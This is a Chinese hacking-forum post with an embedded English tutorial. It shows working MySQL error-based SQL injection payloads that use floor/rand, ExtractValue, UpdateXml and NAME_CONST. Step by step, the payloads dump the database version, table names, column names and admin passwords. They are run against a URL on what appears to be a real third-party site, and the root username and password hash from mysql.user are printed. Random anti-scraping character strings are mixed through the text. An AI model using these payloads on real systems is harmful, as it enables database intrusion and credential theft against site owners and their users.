找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3003|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:5 ~) w/ B0 ^( G* i! ]
首先进行正常查询:

mysql> select * from article where id = 1;
5 h  k! B4 S8 e+—-+——-+———+$ Y0 W& A: P) h
| id | title | content |
$ G7 t# p4 x4 q+—-+——-+———+1 s. ~: B$ D2 I& a: u
|  1 | test  | do it   |
% [1 P6 g3 O/ d& ~& P+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);' f0 F: i$ g7 B! G( d  X
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。4 _! c6 p' A$ z4 G6 }0 W2 u8 p! G
例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);+ W) O. g2 i1 N+ _8 |/ x! G, `
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));+ ~9 P$ [" l: _# {# @
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue& e6 E% Y+ A! G3 P% x1 Q. a
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–- i6 a; i2 ]# R; n0 k3 P+ S
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


9 v: u- {1 O4 v- i# y$ x) j
, D3 ^+ S9 K/ ~! [

再收集:


; S% R& F5 _2 s5 X$ ]9 o" q: Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) ( L2 @- z; t5 U7 `( v

, k* S2 A  @5 a: OErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’+ k& n  g! z- Z( {+ J
8 O6 j  l6 j- L% V& ]% W
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
4 l/ o+ u: h7 v/ R, w; i) Z5 }
7 K, R2 C- M- p& c, H* EErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ . K$ Y9 C' {3 W3 G
9 o' V8 _9 i( E9 d. q. r/ R
MYSQL高版本报错注入技巧-利用NAME_CONST注入
2 `- B1 w" b6 Z, W9 V7 u+ gIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. $ I5 O' c' h# H8 z7 [7 I% s

2 b! @5 s8 u% [" k0 H, y/ y. l* G. R5 {, @. v7 F# q
相关信息
, _; g/ z3 o; I7 |! y% V6 A  k- c: r5 S: O3 o, [- H" @7 Z- O4 v* b  {2 b- B
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.4 o# H3 ?7 t; {' p* R% ~

' w) }& p5 }, b6 r5 R& n5 v" kCode:+ K6 I" J  l# D! Y  `# q" a6 H9 J% [
NAME_CONST(DATA, VALUE)
# K$ y% d+ Z% m. D$ q6 A
( ?+ \+ S- [' ?9 q- ~( s! TReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.; q4 V3 R5 R5 X* T) b/ ]8 t( m* w
7 z6 |" u8 {1 j2 U
SELECT NAME_CONST('TEST', 1)
" q2 n5 E$ [7 L# D" }. f1 A% r8 b, T2 |5 m( y% B' [
! _' _* ?5 d4 ~1 L6 [3 p; g. v# M
% [8 x# o0 Y, Q$ B" z9 n/ l
|---------------|+ f$ y2 \1 M% G3 D2 d, D, X
|     TEST      |7 g9 L9 ]* T% \% j3 a: z$ j4 x% Q
|               |. s, N! P# I) P& O/ g1 i2 o0 G7 p
|---------------|
" e( ^/ i( o( U) j9 b|       1       |
5 f7 k: _/ F& T- C+ o2 v) g* F* f|               |) c7 n3 n! y; x- P
|---------------|
" |  Z: |) o+ _7 d+ r# V3 w

4 \! K2 r4 n1 o  }
7 r2 H" x# G+ y, s: }4 e! }0 K2 {- ~* ?4 d9 u  ]: ^
- F6 ?3 f+ h/ G0 j, D1 a
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
$ K7 z2 }2 h8 ?+ g4 HIntro to MySQL Variables
% H- z3 @3 j* [4 ~9 a  |2 e! F" Z3 K2 N' ^  n" n; d8 S- G! I
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.2 z7 h8 \# H" o" n
5 a: W( I( g7 G9 Y
Code:
0 Q. b" c9 |# L: L8 Uhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
/ ^# M3 |0 U2 {1 @
2 M- v# V: _' m  q4 v/ ^

- A  Y# k0 T) x1 u' W) X7 u% J' x# H) ^" a7 q7 j$ X' ]
8 Y/ O1 `' ]! i) O1 G
8 f- |! U' G2 x0 A! D
Code:/ D; i+ }0 y4 A8 L6 P
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--$ q' M+ o2 P" E: f% [( G

( _8 S( i8 b+ M  H& {3 q; ^! c, v2 `  p" M0 ]
VAR = Your MySQL variable.
0 d7 M" u1 i3 m' w
  E/ \/ z- D3 e( s9 t6 R- ~MySQL 5.1.3 Server System Variables: i2 _$ u- ]% v9 D9 v" ?
- I( N8 H/ @: i: E3 l8 F
Let's try it out on my site..
% i! s3 e/ L$ o3 O" \' r8 F7 ?, D& F( M$ f9 D& {' j
Code:, y7 l* @( P* S: L# u2 j6 N- t
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--; }" O% \/ s' A

& |1 ~* p! h& z! |Erroruplicate column name '5.0.27-community-nt'
: E1 |7 g/ z# W* y+ }
# c* U! J+ P# D* ?

9 i6 ]  ]+ u) p" ?8 ]
  \# D/ R. V) l# J
" d9 p+ ~/ m9 ?& L# S: H

- d/ }" `5 ?( R6 }" G  N1 VNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
5 X; A* a1 R- Z7 x0 w7 I( V
" k+ p8 E0 n  Y+ eData Extraction
1 j- y; D% i+ o- ~( ^: f0 p3 L$ e. n0 Y: `$ p! B, k! _
Code:$ G; w4 c7 g, O2 O* m2 h
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
) [& A4 ^9 y6 k; K5 i1 ~% d
; L. B, t3 m$ B" n/ w. z) x

" l3 `; p; u- j% {. bWe should get a duplicate column 1 error...
: l& H. T' \5 p9 X8 G7 P
! i( k0 n; `" T8 c' Z$ y( n; {# hCode:' M$ Q' C  P' t: L( E
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
4 A) m# U3 k: }9 N+ D5 \% B/ y* B7 y5 i7 L2 Q4 M3 ]
Erroruplicate column name '1
& N( M1 {9 N: x/ |) C4 O

8 V$ Z* n' f) U- h9 Y5 t3 M: F* B* Y2 Q& [( }) }8 r
! I- H1 y" Q- n/ Q8 O- y- k

$ X' D. v" H. P

! X) Y' R3 E& h
9 h5 q4 J9 E1 x% ENow let's get the tables out this bitch..
, x) I( C8 {* R! ~9 `' M8 L  K! k$ n
: `! T0 S- }; M4 J% g; [) `Code:
! k% T; B/ v* x9 {' S0 Y% f  Q+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
- ]4 ^" m& X: B* Q& u

; k6 z% P7 `) m' t- _
! R5 ]# y. i1 wLet's see if it works here, if it does, we can go on and finish the job.
1 s1 e- s; S% t- j0 g2 i
5 \) L6 a# b: w7 f/ R+ |Code:4 H6 V) x5 V& v; Y0 w+ l
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
6 r; k- T# M+ g& K- N+ ?' r! S
* E. U4 }7 {+ O' A8 C8 h% ]8 p& H" s2 @. p3 J! @
Erroruplicate column name 'com_admanage
9 J% d& g. N: `3 t2 b3 ]# X' I

# W% f- r  @. T  e5 y
& J* \0 O( T6 k; ?+ r
5 _( \5 P  ]/ `7 ]4 k1 r. Z8 P: E& t6 g7 O5 b

- b; d; _3 @  g, E& \
( U) D; v2 r8 f6 t1 a& SNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.: u3 o! r; C; M5 I
3 h; H  m; X, S- w/ N. O2 e
Let's get the columns out of the user table..' z5 ^$ O, i4 d' J7 _0 j/ U

9 U$ v7 Z) e0 P5 e$ n2 zCode:( e# W6 M& s3 r; @% V/ v) z
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--  f- m, T7 C' @# k" s
% u2 i9 S# r% C5 ?0 v+ t
8 n6 [2 q# ?7 S' U
So mine looks like this, and I get the duplicate column name 'Host'.
# N) q. C  L0 F; A- \) `; s* L/ B, [* |! `$ r: U; s* w
Code:
! G3 k$ e# \# d6 x1 T& Qhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--( S5 C1 U+ J8 Y0 Y3 \' P$ T
* S  B, D; c& k7 r) \
Erroruplicate column name 'Host'6 ~6 z  h7 V8 ~- o9 a

: L7 R; ^% X% p" R: W# z# z# \: ^5 }, a$ y8 }6 W0 c9 R) k4 |

) l) V, @. v* B1 O% I+ g; S7 F& g, N
$ c9 a4 E2 `/ w: P- y4 J
' x/ j( ?4 H5 h" D2 h1 J  y
Woot, time to finish this bitch off.
1 A, G1 _' i) c9 ~# o7 F& e  p! n( X% L# m
Code:# P) k. X' Y. S# C1 H
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--/ B. G+ j# ?5 Q4 B7 _/ L

8 ]6 P& u' r. B3 J  F' u( J2 e9 x9 s; x5 n  ]5 b+ Y
So mine looks like this...% L8 R; {- \& Q& H  Z
7 K* Y' _) n' _+ a8 Y. b' [- h
Code:
, h( l4 z* D8 L3 |+ D2 ?% Vhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--3 L9 v0 y+ r, E% r- E
. _. T6 o) @- M3 B! l1 }; I7 V
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'$ h6 @9 K1 l: J( R  \1 j
: t& q0 V$ M* q9 V" c% G
8 o' D+ u# w6 y# u6 ]$ {0 P" j- `

& \  t# C9 j2 m" U; Z% ?  P/ e7 I; v. R( Z
( y- O) A, M1 ?6 E  d- q3 a
+ z( A2 `& x: H* Q- q/ V
And there we have it, thanks for reading.

% K0 h$ E& i$ b# F4 [9 I- D9 A
( F8 z0 v) r# V' l& T' ?1 m2 g1 H. k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表